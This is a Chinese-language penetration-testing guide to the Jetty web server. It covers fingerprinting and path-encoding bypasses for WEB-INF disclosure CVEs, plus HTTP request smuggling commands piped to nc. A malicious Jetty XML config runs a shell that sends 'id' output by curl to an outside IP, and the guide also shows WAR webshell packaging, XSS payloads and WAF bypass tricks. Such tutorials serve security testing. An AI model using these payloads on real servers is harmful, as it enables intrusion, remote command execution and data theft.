jetty常用渗透总结
字数 2389 2025-08-26 22:11:45
Jetty渗透测试全面指南
1. Jetty简介与基础
Jetty是一个Java Web服务器和Java Servlet容器,作为Eclipse Foundation的一部分开发的开源项目。它被广泛应用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo等多个知名项目中。
1.1 关键目录结构
- $JETTY_HOME: Jetty分发目录,包含start.jar启动文件
- $JETTY_BASE: 包含配置文件和WEB应用的目录
配置加载顺序(从高到低):
- 命令行参数
- $JETTY_BASE目录及其文件
- 使用
--include-jetty-dir选项指定的目录及其文件 - $JETTY_HOME目录及其文件
2. Jetty识别方法
2.1 响应头特征
- Server头: 默认会返回Jetty版本信息
2.2 GET请求特征
- 在URL后添加
;或;"可识别Jetty中间件 - 示例:
- 请求
/path;test,Jetty返回200,Nginx通常返回404
- 请求
2.3 404页面
- 默认404页面会显示Jetty版本信息
3. WEB.xml文件分析
WEB.xml是Web应用的部署描述文件,位于WEB-INF目录中,主要危害是信息泄露。
3.1 基本结构示例
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet>
<servlet-name>comingsoon</servlet-name>
<servlet-class>mysite.server.ComingSoonServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>comingsoon</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-app>
3.2 主要元素
servlet: 定义服务器设置servlet-name: 服务器名称servlet-class: 服务器类
servlet-mapping: 定义servlet和URL模式间的映射url-pattern: 用于解析URL
注意:Java Servlet Spec 3.0+可以不使用web.xml,通过Java类和注解配置
4. Jetty漏洞利用
4.1 CVE-2021-28164 (WEB-INF敏感信息泄露)
- 影响版本: 9.4.37-9.4.38
- 利用方法:
- 直接访问
/WEB-INF/web.xml返回404 - 使用
/%2e/WEB-INF/web.xml绕过
- 直接访问
4.2 CVE-2021-28169 (ConcatServlet信息泄露)
- 影响版本: <=9.4.40, 10.0.2, 11.0.2
- 利用方法:
- 双重URL编码W字符:
/static?/%2557EB-INF/web.xml
- 双重URL编码W字符:
4.3 CVE-2021-34429 (WEB-INF信息泄露绕过)
- 影响版本: 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
- 绕过方法:
- Unicode形式URL编码:
/%u002e/WEB-INF/web.xml \0组合:/.%00/WEB-INF/web.xml\0组合:/a/b/..%00/WEB-INF/web.xml
- Unicode形式URL编码:
4.4 CVE-2020-27223 (DoS漏洞)
- 影响版本: 9.4.6-9.4.36, 10.0.0, 11.0.0
- 漏洞原理: 处理包含多个带有大量"质量"(q)参数的Accept头时CPU使用率高
- 环境搭建:
git clone https://github.com/motikan2010/CVE-2020-27223 cd CVE-2020-27223 mvn spring-boot:run - POC: 使用环境内的
cve-2020-27223-poc1.sh
4.5 HTTP走私漏洞 (CVE-2017-7656/7/8)
- 影响版本:
- 9.2.x <=9.2.25v20180606
- 9.3.x <=9.3.24v20180605
- 9.4.x <=9.4.11v20280605
4.5.1 HTTP/0.9走私
printf 'GET /?test=4564 HTTP/0.9\r\n' \
'Range: bytes=36-42\r\n' \
'\r\n' \
| nc 127.0.0.1 8994
4.5.2 双Content-Length头
printf 'GET /?test=4970 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'Connection: keepalive\r\n' \
'Content-Length: 0\r\n' \
'Content-Length: 45\r\n' \
'\r\n' \
'GET /?test=4971 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'GET /?test=4972 HTTP/1.1\r\n' \
'Host: localhost\r\n' \
'\r\n' \
| nc 127.0.0.1 8994 | grep "HTTP"
4.5.3 块大小属性截断
printf 'POST /?test=4975 HTTP/1.1\r\n' \
'Transfer-Encoding: chunked\r\n' \
'Content-Type: application/x-www-form-urlencoded\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'1ff00000008\r\n' \
'abcdefgh\r\n' \
'\r\n' \
'0\r\n' \
'\r\n' \
'POST /?test=4976 HTTP/1.1\r\n' \
'Content-Length: 5\r\n' \
'Host: localhost\r\n' \
'\r\n' \
'\r\n' \
'0\r\n' \
'\r\n' \
| nc 127.0.0.1 8994 | grep "HTTP/1.1"
5. 上下文信息泄露
5.1 目录列表
- 未设置根应用目录时,会显示webapps里的目录信息
5.2 通过Host头泄露
- 当应用通过web.xml映射提供服务时,发送不属于xml Item标签内信息的Host头可能泄露上下文信息
示例demo-simple.xml配置:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/</Set>
<Set name="war"><Property name="jetty.webapps" default="."/>/demo-simple.war</Set>
<Set name="virtualHosts">
<Array type="java.lang.String">
<Item>test.local</Item>
<Item>172.22.16.108</Item>
</Array>
</Set>
</Configure>
6. 上传与RCE技术
6.1 JSP文件上传
- Jetty默认通过
org.eclipse.jetty.jsp.JettyJspServlet处理JSP - 需要启动jsp模块:
java -jar start.jar --module=jsp
6.1.1 常见上传目录
$JETTY_BASE/webapps/root
6.1.2 上传临时目录
- 未设置固定工作目录时,临时目录格式:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits - 设置工作目录后,在
${jetty.base}/work/下创建临时目录
6.2 WAR文件上传RCE
- 制作WAR webshell:
zip -r shell.war index.jsp - 上传到
$jetty_base/webapps/
注意:需要服务器开启jsp模块,否则只能使用servlet创建java应用
6.3 XML文件上传RCE
示例恶意XML:
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl -F "r=`id`" http://192.168.0.0:80</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>
- 上传后无需重启,Jetty热部署会自动扫描部署
6.4 上传文件XSS
- 可上传.xml、.html、.svg等文件
- 有效载荷示例:
或<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script><script>alert('PTSWARM')</script>
7. WAF绕过技术
7.1 绕过目录拦截
- 示例:NGINX拦截
/adminURL/* - 绕过:请求
/adminURL;random/
7.2 绕过文件读取WAF
- 利用
getParameter方法处理差异 - 使用
Content-Type: multipart/form-data和_charset_字段指定编码
7.3 边界解析特性
- 解析多部分请求边界时,遇到
;即停止,后面内容被忽略
7.4 反斜杠清除
- 提取参数名时,
\[any_symbol]会被转换为[any_symbol]